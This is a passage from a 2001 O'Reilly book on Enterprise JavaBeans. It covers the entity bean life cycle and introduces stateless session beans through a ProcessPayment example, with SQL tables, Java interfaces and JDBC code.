The activation process can also move a bean instance from the Pooled state to the Ready State. Activation facilitates resource management by allowing a few bean instances to service many EJB objects. Activation was explained in Chapter 2, "Architectural Overview", but we will revisit the process as it relates to the bean instance's life cycle. Activation presumes that the bean has previously been passivated. More is said about this state transition later; for now, suffice it to say that when a bean instance is passivated, it frees any resources that it does not need and leaves the EJB object for the instance pool. When the bean instance returns to the pool, the EJB object is left without an instance to delegate client requests to. The EJB object maintains its stub connection on the client, so as far as the client is concerned, the entity bean hasn't changed. When the client invokes a business method on the EJB object, the EJB object must obtain a new bean instance. This is accomplished by activating a bean instance.

When a bean instance is activated, it leaves the instance pool (the Pooled State) to be assigned to an EJB object. When a bean instance makes this transition, the bean instance is first assigned to an EJB object. Once assigned to the EJB object, the ejbActivate() method is called--the instance's EntityContext can now provide information specific to the EJB object, but it cannot provide security or transactional information. This callback method can be used in the bean instance to reobtain any resources or perform some other work needed before servicing the client.

When an entity bean instance is activated, nonpersistent fields contain arbitrary values (dirty values) and must be reinitialized in the ejbActivate() method.

In container-managed persistence, persistent fields (container-managed fields) are automatically synchronized with the database after ejbActivate() is invoked and before a business method can be serviced by the bean instance. The order in which these things happen is as follows:

  1. ejbActivate() is invoked on the bean instance.

  2. Persistent fields are synchronized automatically.

  3. ejbLoad() notifies the bean that its persistent fields have been synchronized.

  4. Business methods are invoked as needed.

In bean-managed persistence, persistent fields are synchronized by the ejbLoad() method after ejbActivate() has been called and before a business method can be invoked. Here is the order of operations in bean-managed persistence:

  1. ejbActivate() is invoked on the bean instance.

  2. ejbLoad() is called to let the bean synchronize its persistent fields.

  3. Business methods are invoked as needed.

6.3.3.4. Transitioning from the Ready State to the Pooled state via passivation

A bean can move from the Ready State to the Pooled state via passivation, which is the process of disassociating a bean instance from an EJB object when it is not busy. After a bean instance has been assigned to an EJB object, the EJB container can passivate the instance at any time, provided that the instance is not currently executing a method. As part of the passivation process, the ejbPassivate() method is invoked on the bean instance. This callback method can be used in the instance to release any resources or perform other processing prior to leaving the EJB object. A bean-managed entity instance should not try to save its state to the database in the ejbPassivate() method; this activity is reserved for the ejbStore() method. The container will invoke ejbStore() to synchronize the bean instance's state with the database prior to passivating the bean. When ejbPassivate() has completed, the bean instance is disassociated from the EJB object server and returned to the instance pool. The bean instance is now back in the Pooled State.

The most fundamental thing to remember is that, for entity beans, passivation is simply a notification that the instance is about to be disassociated from the EJB object. Unlike stateful session beans, an entity bean instance's fields are not serialized and held with the EJB object when the bean is passivated. Whatever values are held in the instance's fields when it was assigned to the EJB object will be carried with it to its next assignment.

6.3.3.5. Transitioning from the Ready State to the Pooled state via removal

A bean instance also moves from the Ready State to the Pooled state when it is removed. This occurs when the client application invokes one of the remove() methods on the bean's EJB object or EJB home. With entity beans, invoking a remove method means that the entity's data is deleted from the database. Once the entity's data has been deleted from the database, it is no longer a valid entity. The EntityContext can provide the EJB object with identity information during the execution of the ejbRemove() method. Once the ejbRemove() method has finished, the bean instance is moved back to the instance pool and out of the Ready State. It is important that the ejbRemove() method release any resources that would normally be released by ejbPassivate() , which is not called when a bean is removed. This can be done by invoking the ejbPassivate() method within the ejbRemove() method body.

6.3.4. Life in the Ready State

A bean is in the Ready State when it is associated with an EJB object and is ready to service requests from the client. When the client invokes a business method, like Ship.getName(), on the bean's remote reference (EJB object stub), the method invocation is received by the EJB object server and delegated to the bean instance. The instance performs the method and returns the results. As long as the bean instance is in the Ready State, it can service all the business methods invoked by the client. Business methods can be called zero or more times in any order.

The ejbLoad() and ejbStore() methods, which synchronize the bean instance's state with the database, can be called only when the bean is in the Ready State. These methods can be called in any order, depending on the vendor's implementation. Some vendors call ejbLoad() before every method invocation and ejbStore() after every method invocation, depending on the transactional context. Other vendors call these methods less frequently.

In bean-managed persistence, the ejbLoad() method should always use the EntityContext.getPrimaryKey() to obtain data from the database and not trust any primary key or other data that the bean has stored in one of its fields. (This is how we implemented it in the bean-managed version of the Ship bean.) It should be assumed, however, that the state of the bean is valid when calling the ejbStore() method.

In container-managed persistence, the ejbLoad() method is always called immediately following the synchronization of the bean's container-managed fields with the database--in other words, right after the container updates the state of the bean instance with data from the database. This provides an opportunity to perform any calculations or reformat data before the instance can service business method invocations from the client. The ejbStore() method is called just before the database is synchronized with the state of the bean instance--just before the container writes the container-managed fields to the database. This provides the container-managed bean instance with an opportunity to change the data in the container-managed fields prior to their persistence to the database.

In bean-managed persistence, the ejbLoad() and ejbStore() methods are called when the container deems it appropriate to synchronize the bean's state with the database. These are the only callback methods that should be used to synchronize the bean's state with the database. Do not use ejbActivate(), ejbPassivate(), setEntityContext(), or unsetEntityContext() to access the database for the purpose of synchronization. The ejbCreate() and ejbRemove() methods, however, can be used to insert and delete (respectively) the entity's data from the database.

6.3.5. End of the Life Cycle

A bean instance's life ends when the container decides to remove it from the pool and allow it to be garbage collected. This happens under a few different circumstances. If the container decides to reduce the number of instances in the pool--usually to conserve resources--it releases one or more bean instances and allows them to be garbage collected. The ability to adjust the size of the instance pool allows the EJB server to manage its resources--the number of threads, available memory, etc.--so that it can achieve the highest possible performance. This behavior is typical of a CTM.

When an EJB server is shut down, most containers will release all the bean instances so that they can be safely garbage collected. Finally, some containers may decide to release an instance that is behaving unfavorably or an instance that has suffered from some kind of unrecoverable error that makes it unstable. A bean could be behaving unfavorably if, for example, it has a bug that causes it to enter an endless loop or create an unusually large number of objects.

When a entity bean instance leaves the instance pool to be garbage collected, the unsetEntityContext() method is invoked by the container to alert the bean instance that it is about be destroyed. This callback method lets the bean release any resources it maintains in the pool and dereference the EntityContext (usually by setting it to null). Once the bean's unsetEntityContext() method has been called and it is removed from the pool, it will be garbage collected.

The bean instance's finalize() method may or may not be invoked following the unsetEntityContext() method. A bean should not rely on its finalize() method, since each vendor will handle dereferenced instances differently: some may garbage collect an instance immediately, and others may postpone garbage collection indefinitely.

Previous | Home | Next
6.2. Bean-Managed Persistence | Book Index | 7. Session Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Session Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 7. Session Beans

Contents:

The Stateless Session Bean
The Life Cycle of a Stateless Session Bean
The Stateful Session Bean
The Life Cycle of a Stateful Session Bean

As you learned in Chapter 6, "Entity Beans", entity beans provide an object-oriented interface that makes it easier for developers to create, modify, and delete data from the database. Entity beans make developers more productive by encouraging reuse and by reducing development costs. A concept like a Ship can be reused throughout a business system without having to redefine, recode, or retest the business logic and data access defined by the Ship bean.

However, entity beans are not the entire story. We have also seen another kind of enterprise bean: the session bean. Session beans fill the gaps left by entity beans. They are useful for describing interactions between other beans (workflow) or for implementing particular tasks. Unlike entity beans, session beans don't represent shared data in the database, but they can access shared data. This means that we can use session beans to read, update, and insert data. For example, we might use a session bean to provide lists of information, such as a list of all available cabins. Sometimes we might generate the list by interacting with entity beans, like the cabin list we developed in the TravelAgent bean in Chapter 4, "Developing Your First Enterprise Beans". More frequently, session beans will generate lists by accessing the database directly.

So when do you use an entity bean and when do you use a session bean to directly access data? Good question! As a rule of thumb, an entity bean is developed to provide a safe and consistent interface to a set of shared data that defines a concept. This data may be updated frequently. Session beans access data that spans concepts, is not shared, or is usually read-only.

In addition to accessing data directly, session beans can represent workflow. Workflow describes all the steps required to accomplish a particular task, such as booking passage on a ship or renting a video. Session beans are part of the same business API as entity beans, but as workflow components, they serve a different purpose. Session beans can manage the interactions between entity beans, describing how they work together to accomplish a specific task. The relationship between session beans and entity beans is like the relationship between a script for a play and the actors that perform the play. Where entity beans are the actors and props, the session bean is the script. Actors and props without a script can each serve a function individually, but only in the context of a script can they tell a story. In terms of our example, it makes no sense to have a database full of cabins, ships, passengers, and other objects if we can't create interactions between them, like booking a passenger for a cruise.

Session beans are divided into two basic types: stateless and stateful. A stateless session bean is a collection of related services, each represented by a method; the bean maintains no state from one method invocation to the next. When you invoke a method on a stateless session bean, it executes the method and returns the result without knowing or caring what other requests have gone before or might follow. Think of a stateless session bean as a set of procedures or batch programs that execute a request based on some parameters and return a result. Stateless session beans tend to be general-purpose or reusable, such as a software service.

A stateful session bean is an extension of the client application. It performs tasks on behalf of the client and maintains state related to that client. This state is called conversational statebecause it represents a continuing conversation between the stateful session bean and the client. Methods invoked on a stateful session bean can write and read data to and from this conversational state, which is shared among all methods in the bean. Stateful session beans tend to be specific to one scenario. They represent logic that might have been captured in the client application of a two-tier system.

Session beans, whether they are stateful or stateless, are not persistent like entity beans. In other words, session beans are not saved to the database. Stateful session beans are dedicated to one client and may have a preset timeout period. In EJB 1.0, the timeout period, which is specified in the deployment descriptor, is defined in seconds and is applied between business method invocations by the client.Each time a business method is invoked, the timeout clock is reset.[1] In EJB 1.1, the bean deployer declares the timeout in a vendor-dependent manner. Timeouts are no longer included in the deployment descriptor.

[1] This was not clearly defined in the EJB 1.0 specification. As a result, some vendors incorrectly measure the timeout period from the creation of the bean by the client, and the timeout period is not reset between method invocations. Consult your vendor's documentation to determine which strategy your vendor employs.

If the client fails to use the stateful bean before it times out, the bean instance is destroyed and the remote reference is invalidated. This prevents the stateful session bean from lingering long after a client has shut down or otherwise finished using it. A client can also explicitly remove a stateful session bean by calling one of its remove methods.

Stateless session beans have longer lives because they don't retain any conversational state and are not dedicated to one client, but they still aren't saved in a database because they don't represent any data. Once a stateless session bean has finished a method invocation for a client, it can be reassigned to any other EJB object to service a new client. A client can maintain a connection to a stateless session bean's EJB object, but the bean instance itself is free to service requests from anywhere. Because it doesn't contain any state information, there's no difference between one client and the next. Stateless session beans may also have a timeout period and can be removed by the client, but the impact of these events is different than with a stateful session bean. With a stateless session bean, a timeout or remove operation simply invalidates the remote reference for that client; the bean instance is not destroyed and is free to service other client requests.

7.1. The Stateless Session Bean

A stateless session bean is relatively easy to develop and also very efficient. Stateless session beans require few server resources because they are neither persistent nor dedicated to one client. Because they aren't dedicated to one client, many EJB objects can use just a few instances of a stateless bean. A stateless session bean does not maintain conversational state relative to the EJB object it is servicing, so it can be swapped freely between EJB objects. As soon as a stateless instance services a method invocation, it can be swapped to another EJB object immediately. Because there is no conversational state, a stateless session bean doesn't require passivation or activation, further reducing the overhead of swapping. In short, they are lightweight and fast!

Stateless session beans often perform services that are fairly generic and reusable. The services may be related, but they are not interdependent. This means that everything a stateless session bean method needs to know has to be passed via the method's parameters. The only exception to this rule is information obtainable from the SessionContext and in EJB 1.1, the JNDI ENC. This provides an interesting limitation. Stateless session beans can't remember anything from one method invocation to the next, which means that they have to take care of the entire task in one method invocation.

Stateless session beans are EJB's version of the traditional transaction processing applications, which are executed using a procedure call. The procedure executes from beginning to end and then returns the result. Once the procedure is done, nothing about the data that was manipulated or the details of the request are remembered. There is no state.

These restrictions don't mean that a stateless session bean can't have instance variables and therefore some kind of internal state. There's nothing that prevents you from keeping a variable that tracks the number of times a bean has been called or that tracks data for debugging. An instance variable can even hold a reference to a live resource like a URL connection for writing debugging data, verifying credit cards, or anything else that might be useful. However, it's important to remember that this state can never be visible to a client. A client can't assume that the same bean instance will service it every time. If these instance variables have different values in different bean instances, their values will appear to change randomly as stateless session beans are swapped from one client to another. Therefore, any resources that you reference in instance variables should be generic. For example, each bean instance might reasonably record debugging messages in a different file--that might be the only way to figure out what was happening on a large server with many bean instances. The client doesn't know or care where debugging output is going. However, it would be clearly inappropriate for a stateless bean to remember that it was in the process of making a reservation for Madame X--the next time it is called, it may be servicing another client entirely.

Stateless session beans can be used for report generation, batch processing, or some stateless services like validating a credit card. Another good application would be a StockQuote bean that returns a stock's current price. Any activity that can be accomplished in one method call is a good candidate for the high-performance stateless session bean.

7.1.1. Downloading the Missing Pieces

Both the TravelAgent bean and the ProcessPayment beans, which we develop in this chapter, depend on other entity beans, some of which we developed earlier in this book and several that you can download from O'Reilly's web site. The Cabin was developed in Chapter 4, "Developing Your First Enterprise Beans", but we still need several other beans to develop this example. The other beans are the Cruise, Customer, and Reservation beans. The source code for these beans is available with the rest of the examples for this book at the O'Reilly download site. Instructions for downloading code are available in the preface of this book.

Before you can use these beans, you will need to create some new tables in your database. Here are the table definitions that the new entity beans will need. The Cruise bean maps to the CRUISE table:

CREATE TABLE CRUISE
(
   ID         INT PRIMARY KEY,
   NAME       CHAR(30),
   SHIP_ID    INT
)

The Customer bean maps to the CUSTOMER table:

CREATE TABLE CUSTOMER
(
   ID             INT PRIMARY KEY,
   FIRST_NAME     CHAR(30),
   LAST_NAME      CHAR(30),
   MIDDLE_NAME    CHAR(30)
)

The Reservation bean maps to the RESERVATION table:

CREATE TABLE RESERVATION
(
   CUSTOMER_ID    INT,
   CABIN_ID       INT,
   CRUISE_ID      INT,
   PRICE          NUMERIC
)

Once you have created the tables, deploy these beans as container-managed entities in your EJB server and test them to ensure that they are working properly.

7.1.2. The ProcessPayment Bean

Chapter 2, "Architectural Overview" and Chapter 3, "Resource Management and the Primary Services" discussed the TravelAgent bean, which had a business method called bookPassage(). This bean demonstrated how a session bean manages workflow. Here is the code for bookPassage():

public Ticket bookPassage(CreditCard card, double price)
    throws IncompleteConversationalState {// EJB 1.0: also throws RemoteException

    if (customer == null || cruise == null || cabin == null) {
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome = (ReservationHome)
            getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
        resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        Ticket ticket = new Ticket(customer, cruise, cabin, price);
        return ticket;
    } catch (Exception e) {
        // EJB 1.0: throw new RemoteException("",e);
        throw new EJBException(e);
    }
}

In the next section, we will develop a complete definition of the TravelAgent bean, including the logic of the bookPassage() method. At this point, however, we are interested in the ProcessPayment bean, which is a stateless bean used by the TravelAgent bean. The TravelAgent bean uses the ProcessPayment bean to charge the customer for the price of the cruise.

The process of charging customers is a common activity in Titan's business systems. Not only does the reservation system need to charge customers, but so do Titan's gift shops, boutiques, and other related businesses. The process of charging a customer for services is common to many systems, so it has been encapsulated in its own bean.

Payments are recorded in a special database table called PAYMENT. The PAYMENT data is batch processed for accounting purposes and is not normally used outside of accounting. In other words, the data is only inserted by Titan's system; it's not read, updated, or deleted. Because the process of making a charge can be completed in one method, and because the data is not updated frequently or shared, a stateless session bean has been chosen for processing payments. Several different forms of payment can be used: credit card, check, or cash. We will model these payment forms in our stateless ProcessPayment bean.

7.1.2.1. PAYMENT: The database table

The ProcessPayment bean accesses an existing table in Titan's system called the PAYMENT table. Create a table in your database called PAYMENT with this definition:

CREATE TABLE PAYMENT
(
    customer_id     NUMERIC,
    amount          DECIMAL(8,2),
    type            CHAR(10),
    check_bar_code  CHAR(50),
    check_number    INTEGER,
    credit_number   NUMERIC,
    credit_exp_date DATE
)

7.1.2.2. ProcessPayment: The remote interface

A stateless session bean, like any other bean, needs a remote interface. We obviously need a byCredit() method because the TravelAgent bean uses it. We can also identify two other methods that we'll need: byCash() for customers paying cash and byCheck() for customers paying with a personal check.

Here is a complete definition of the remote interface for the ProcessPayment bean:

package com.titan.processpayment;

import java.rmi.RemoteException;
import java.util.Date;
import com.titan.customer.Customer;

public interface ProcessPayment extends javax.ejb.EJBObject {

    public boolean byCheck(Customer customer, Check check, double amount)
      throws RemoteException,PaymentException;

    public boolean byCash(Customer customer, double amount)
      throws RemoteException,PaymentException;

    public boolean byCredit(Customer customer, CreditCard card, double amount)
      throws RemoteException,PaymentException;
}

Remote interfaces in session beans follow the same rules as the entity beans. Here we have defined the three business methods, byCheck(), byCash(), and byCredit(), which take information relevant to the form of payment used and return a boolean value that indicates the success of the payment. In addition to the required RemoteException, these methods can throw an application-specific exception, the PaymentException. The PaymentException is thrown if any problems occur while processing the payment, such as a low check number or an expired credit card. Notice, however, that nothing about the ProcessPayment interface is specific to the reservation system. It could be used just about anywhere in Titan's system. In addition, each method defined in the remote interface is completely independent of the others. All the data that is required to process a payment is obtained through the method's arguments.

As an extension of the javax.ejb.EJBObject interface, the remote interface of a session bean inherits the same functionality as the remote interface of an entity bean. However, the getPrimaryKey() method throws a RemoteException, since session beans do not have a primary key to return:[2]

[2] The exact behavior of primary key related operations on session beans is undefined in EJB 1.0. Because it is undefined, certain vendors may choose to return null or throw a different exception when these methods are invoked. The behavior described here, however, is the recommended behavior for EJB 1.0 -compliant servers and is the required behavior in EJB 1.1.

public interface javax.ejb.EJBObject extends java.rmi.Remote {
    public abstract EJBHome getEJBHome()
     throws RemoteException;
    public abstract Handle getHandle()
     throws RemoteException;
    public abstract Object getPrimaryKey()
     throws RemoteException;
    public abstract boolean isIdentical(EJBObject obj)
     throws RemoteException;
    public abstract void remove()
     throws RemoteException, RemoveException;
}

The getHandle() method returns a serializable handle object, just like the getHandle() method in the entity bean. For stateless session beans, this handle can be serialized and reused any time, as long as the stateless bean type is still available in the container that generated the handle.

NOTE

Unlike stateless session beans, stateful session beans are only available through the handle for as long as that specific bean instance is kept alive on the EJB server. If the client explicitly destroys the stateful session bean using one of the remove() methods, or if the bean times out, the instance is destroyed and the handle becomes invalid. As soon as the server removes a stateful session bean, its handle is no longer valid and will throw a RemoteException when its getEJBObject() is invoked.

A remote reference to the bean can be obtained from the handle by invoking its getEJBObject() method:

public interface javax.ejb.Handle {
    public abstract EJBObject getEJBObject()
      throws RemoteException;
}

We've placed the ProcessPayment bean in its own package, which means it has its own directory in our development tree, dev/com/titan/processpayment. That's where we'll store all the code and compile class files for this bean.

7.1.2.3. Dependent classes: The CreditCard and Check classes

The ProcessPayment bean's remote interface uses two classes in its definition that are particularly interesting: the CreditCard and Check classes. The definitions for these classes are as follows:

/* CreditCard.java */
package com.titan.processpayment;

import java.util.Date;

public class CreditCard implements java.io.Serializable {
    final static public String MASTER_CARD = "MASTER_CARD";
    final static public String VISA = "VISA";
    final static public String AMERICAN_EXPRESS = "AMERICAN_EXPRESS";
    final static public String DISCOVER = "DISCOVER";
    final static public String DINERS_CARD = "DINERS_CARD";

    public long number;
    public Date expiration;
    public String type;

    public CreditCard(long nmbr, Date exp, String typ) {
        number = nmbr;
        expiration = exp;
        type = typ;
    }
}

/* Check.java */
package com.titan.processpayment;

public class Check implements java.io.Serializable {
    String checkBarCode;
    int checkNumber;
    public Check(String barCode, int number) {
        checkBarCode = barCode;
        checkNumber = number;
    }
}

If you examine the class definitions of the CreditCard and Check classes, you will see that they are not enterprise beans. They are simply serializable Java classes. These classes provide a convenient mechanism for transporting and binding together related data. CreditCard, for example, binds all the credit card data together in once class, making it easier to pass the information around as well as making our interfaces a little cleaner.

It may be surprising that these classes aren't entity beans, and there's certainly no restriction in the specification preventing you from implementing them that way. However, just because something can be an entity bean doesn't mean that it has to be, and in this case, there are good reasons for this design decision. Making everything an entity bean is unnecessary and will hurt the performance of your EJB application. Remember that supporting an entity bean requires a lot of overhead on the server's part. When that overhead isn't necessary, it's best avoided. Fine-grained, dependent objects like Check and CreditCard don't make practical entity beans, because they are not shared or changed over time and they are dependent on the Customer to provide them with context. The use of dependent classes should be limited to pass-by-value objects, which is explored in more detail in Chapter 9, "Design Strategies".

7.1.2.4. PaymentException: An application exception

Any remote interface, whether it's for an entity bean or a session bean, can throw application exceptions, in addition to the required RemoteException. Application exceptions are created by the bean developer and should describe a business logic problem--in this particular case, a problem making a payment. Application exceptions should be meaningful to the client, providing an explanation of the error that is both brief and relevant.

It's important to understand what exceptions to use and when to use them. The RemoteException indicates subsystem-level problems and is used by the RMI facility. Likewise, exceptions like javax.naming.NamingException and java.sql.SQLException are thrown by other Java subsystems; usually these should not be thrown explicitly by your beans. The Java Compiler requires that you use try/catch blocks to capture checked exceptions like these.

EJB 1.1 subsystem exceptions

When a checked exception from a subsystem ( JDBC, JNDI, JMS, etc.) is caught by a bean method, it should be rethrown as an EJBException or an application exception. You would rethrow a checked exception as an EJBException if it represented a system-level problem; checked exceptions are rethrown as application exceptions when they result from business logic problems. Your beans incorporate your business logic; if a problem occurs in the business logic, that problem should be represented by an application exception. When an EJBException is thrown, it's first processed by the container, and then a RemoteException is thrown to the client.

EJB 1.0 subsystem exceptions

When a checked exception from a subsystem (JDBC, JNDI, JMS, etc.) is caught by a bean method, it should be rethrown as a RemoteException or an application exception. You would rethrow a checked exception as a RemoteException if it represented a system-level problem; checked exceptions are rethrown as application exceptions when they result from business logic problems. Your beans incorporate your business logic; if a problem occurs in the business logic, that problem should be represented by an application exception.

In either EJB 1.0 or EJB 1.1, if an unchecked exception, like java.lang.NullPointerException, is thrown by the bean instance, the container automatically throws a RemoteException to the client.

The PaymentException describes a specific business problem, so it is an application exception. Application exceptions extend java.lang.Exception. If you choose to include any instance variables in the exception, they should all be serializable. Here is the definition of ProcessPayment application exception:

package com.titan.processpayment;

public class PaymentException extends java.lang.Exception {
    public PaymentException() {
        super();
    }
    public PaymentException(String msg) {
        super(msg);
    }
}

7.1.2.5. ProcessPaymentHome: The home interface

The home interface of all stateless session beans contains one create() method with no arguments. This is a requirement of the EJB specification. It is illegal to define create() methods with arguments, because stateless session beans don't maintain conversational state that needs to be initialized. There are no find methods in session beans, because session beans do not have primary keys and do not represent data in the database. Here is the definition of the home interface for the ProcessPayment bean:

package com.titan.processpayment;

import java.rmi.RemoteException;
import javax.ejb.CreateException;

public interface ProcessPaymentHome extends javax.ejb.EJBHome {
   public ProcessPayment create()
       throws RemoteException, CreateException;
}

The CreateException is mandatory, as is the RemoteException. The CreateException can be thrown by the bean itself to indicate an application error in creating the bean. A RemoteException is thrown when other system errors occur, for example, when there is a problem with network communication or when an unchecked exception is thrown from the bean class.

The ProcessPaymentHome interface, as an extension of the javax.ejb.EJBHome, offers the same EJBHome methods as entity beans. The only difference is that remove(ObjectprimaryKey) doesn't work because session beans don't have primary keys. If EJBHome.remove(ObjectprimaryKey) is invoked on a session bean (stateless or stateful), a RemoteException is thrown.[3] Logically, this method should never be invoked on the home interface of a session bean.

[3] The exact behavior of the EJBHome.remove(ObjectprimaryKey) in session beans is undefined in EJB 1.0. The recommended behavior in EJB 1.0 is to throw a RemoteException, which is the specified behavior in the EJB 1.1 specification. Check your vendor's documentation to determine how this behavior was implemented for EJB 1.0 containers.

Here are the definitions of the EJBHome interface for EJB 1.1 and EJB 1.0:

// EJBHome interface, EJB 1.1
public interface javax.ejb.EJBHome extends java.rmi.Remote {
   public abstract HomeHandle getHomeHandle()
     throws RemoteException;
   public abstract EJBMetaData getEJBMetaData()
     throws RemoteException;
   public abstract void remove(Handle handle)
     throws RemoteException, RemoveException;
   public abstract void remove(Object primaryKey)
     throws RemoteException, RemoveException;
}

// EJBHome interface, EJB 1.0
public interface javax.ejb.EJBHome extends java.rmi.Remote {
   public abstract EJBMetaData getEJBMetaData()
     throws RemoteException;
   public abstract void remove(Handle handle)
     throws RemoteException, RemoveException;
   public abstract void remove(Object primaryKey)
     throws RemoteException, RemoveException;
}

The home interface of a session bean can return the EJBMetaData for the bean, just like an entity bean. EJBMetaData is a serializable object that provides information about the bean's interfaces. The only difference between the EJBMetaData for a session bean and an entity bean is that the getPrimaryKeyClass() on the session bean's EJBMetaData throws a java.lang.RuntimeException when invoked:[4]

[4] The exact behavior of the MetaData.getPrimaryKeyClass() method is undefined for session beans in EJB 1.0. The recommended behavior in EJB 1.0 is to throw a runtime exception, which is the specified behavior in the EJB 1.1 specification.

public interface javax.ejb.EJBMetaData {
    public abstract EJBHome getEJBHome();
    public abstract Class getHomeInterfaceClass();
    public abstract Class getPrimaryKeyClass();
    public abstract Class getRemoteInterfaceClass();
    public abstract boolean isSession();
    public abstract boolean isStateless();  // EJB 1.0 only
}

7.1.2.6. ProcessPaymentBean: The bean class

As stated earlier, the ProcessPayment bean accesses data that is not generally shared by systems, so it is an excellent candidate for a stateless session bean. This bean really represents a set of independent operations that can be invoked and then thrown away--another indication that it's a good candidate for a stateless session bean. Here is the complete definition of our ProcessPaymentBean class:

package com.titan.processpayment;
import com.titan.customer.*;

import java.sql.*;
import java.rmi.RemoteException;
import javax.ejb.SessionContext;

import javax.naming.InitialContext;
import javax.sql.DataSource;
import javax.ejb.EJBException;
import javax.naming.NamingException;

public class ProcessPaymentBean implements javax.ejb.SessionBean {

    final public static String CASH = "CASH";
    final public static String CREDIT = "CREDIT";
    final public static String CHECK = "CHECK";

    public SessionContext context;

    public void ejbCreate() {
    }

    public boolean byCash(Customer customer, double amount)
    throws PaymentException{// EJB 1.0: also throws RemoteException
        return process(getCustomerID(customer),amount,
                       CASH,null,-1,-1,null);
    }

    public boolean byCheck(Customer customer, Check check, double amount)
    throws PaymentException{// EJB 1.0: also throws RemoteException
        int minCheckNumber = getMinCheckNumber();
        if (check.checkNumber > minCheckNumber) {
            return process(getCustomerID(customer), amount, CHECK,
                           check.checkBarCode,check.checkNumber,-1,null);
        }
        else {
           throw new PaymentException(
              "Check number is too low. Must be at least "+minCheckNumber);
        }
    }
    public boolean byCredit(Customer customer, CreditCard card, double amount)
    throws PaymentException {// EJB 1.0: also throws RemoteException
        if (card.expiration.before(new java.util.Date())) {
             throw new PaymentException("Expiration date has passed");
        }
        else {
            return process(getCustomerID(customer), amount, CREDIT, null,
                           -1, card.number,
                           new java.sql.Date(card.expiration.getTime()));
        }
    }
    private boolean process(long customerID, double amount, String type,
                            String checkBarCode, int checkNumber,
                            long creditNumber, java.sql.Date creditExpDate)
        throws PaymentException{// EJB 1.0: also throws RemoteException

        Connection con = null;

        PreparedStatement ps = null;

        try {
            con = getConnection();
            ps = con.prepareStatement
                ("INSERT INTO payment (customer_id, amount, type,"+
                  "check_bar_code,check_number,credit_number,"+
                  "credit_exp_date) VALUES (?,?,?,?,?,?,?)");
            ps.setLong(1,customerID);
            ps.setDouble(2,amount);
            ps.setString(3,type);
            ps.setString(4,checkBarCode);
            ps.setInt(5,checkNumber);
            ps.setLong(6,creditNumber);
            ps.setDate(7,creditExpDate);
            int retVal = ps.executeUpdate();
            if (retVal!=1) {
                // EJB 1.0: throw new RemoteException("Payment insert failed");
                throw new EJBException("Payment insert failed");
            }

            return true;
        } catch(SQLException sql) {
             // EJB 1.0: throw new RemoteException("",sql);
             throw new EJBException(sql);
        } finally {
             try {
                 if (ps != null) ps.close();
                 if (con!= null) con.close();
             } catch(SQLException se){se.printStackTrace();}
        }
    }
    public void ejbActivate() {}
    public void ejbPassivate() {}
    public void ejbRemove() {}
    public void setSessionContext(SessionContext ctx) {
        context = ctx;
    }
    private int getCustomerID(Customer customer) {
    // EJB 1.0: throws RemoteException
        try {// EJB 1.0: remove try/catch
            return ((CustomerPK)customer.getPrimaryKey()).id;
        } catch(RemoteException re) {
            throw new EJBException(re);
        }
    }

    private Connection getConnection() throws SQLException {
        // Implementations for EJB 1.0 and EJB 1.1 shown below
    }
    private int getMinCheckNumber() {
        // Implementations for EJB 1.0 and EJB 1.1 shown below
    }
}

The three payment methods all use the private helper method process(), which does the work of adding the payment to the database. This strategy reduces the possibility of programmer error and makes the bean easier to maintain. The process() method simply inserts the payment information into the PAYMENT table. The use of JDBC in this method should be familiar to you from your work on the bean-managed Ship bean in Chapter 6, "Entity Beans". The JDBC connection is obtained from the getConnection() method; here are the EJB 1.1 and EJB 1.0 versions of this method:

// getConnection() for EJB 1.1
private Connection getConnection() throws SQLException {
    try {
        InitialContext jndiCntx = new InitialContext();
        DataSource ds = (DataSource)
            jndiCntx.lookup("java:comp/env/jdbc/titanDB");
        return ds.getConnection();
    } catch(NamingException ne){throw new EJBException(ne);}
}

// getConnection() for EJB 1.0
private Connection getConnection() throws SQLException {
    return DriverManager.getConnection(
        context.getEnvironment().getProperty("jdbcURL"));
}

Both the byCheck() and the byCredit() methods contain some logic to validate the data before processing it. The byCredit() method checks to ensure that the credit card's expiration data does not precede the current date. If it does, a PaymentException is thrown.

The byCheck() method checks to ensure that the check is above a minimum number, as determined by a property that's defined when the bean is deployed. If the check number is below this value, a PaymentException is thrown. The property is obtained from the getMinCheckNumber() method. In EJB 1.1, we can use the JNDI ENC to read the value of the minCheckNumber property. In 1.0, we read this property from the SessionContext:

// getMinCheckNumber() for EJB 1.1: uses JNDI ENC
private int getMinCheckNumber() {
         try {
            InitialContext jndiCntx = new InitialContext( );
            Integer value = (Integer)
                jndiCntx.lookup("java:comp/env/minCheckNumber");
            return value.intValue();
         } catch(NamingException ne){throw new EJBException(ne);}
}

// getMinCheckNumber() for EJB 1.0
private int getMinCheckNumber() {
  String min_check_string =
      context.getEnvironment().getProperty("minCheckNumber");
  return Integer.parseInt(min_check_string);
}

Thus, we are using an environment property, set in the deployment descriptor, to change the business behavior of a bean. It is a good idea to capture thresholds and other limits in the environment properties of the bean rather than hardcoding them. This gives you greater flexibility. If, for example, Titan decided to raise the minimum check number, you would only need to change the bean's deployment descriptor, not the class definition. (You could also obtain this type of information directly from the database.)

7.1.2.7. EJB 1.1: Accessing environment properties

In EJB 1.1, the bean container contract has been extended to include the JNDI environment naming context ( JNDI ENC). The JNDI ENC is a JNDI name space that is specific to each bean type. This name space can be referenced from within any bean, not just entity beans, using the name "java:comp/env". The enterprise naming context provides a flexible, yet standard, mechanism for accessing properties, other beans, and resources from the container.

We've already seen the JNDI ENC several times. In Chapter 6, "Entity Beans", we used it to access a resource factory, the DataSource. The ProcessPaymentBean also uses the JNDI ENC to access a DataSource in the getConnection() method; further, it uses the ENC to access an environment property in the getMinCheckNumber() method. This section examines the use of the JNDI ENC to access environment properties.

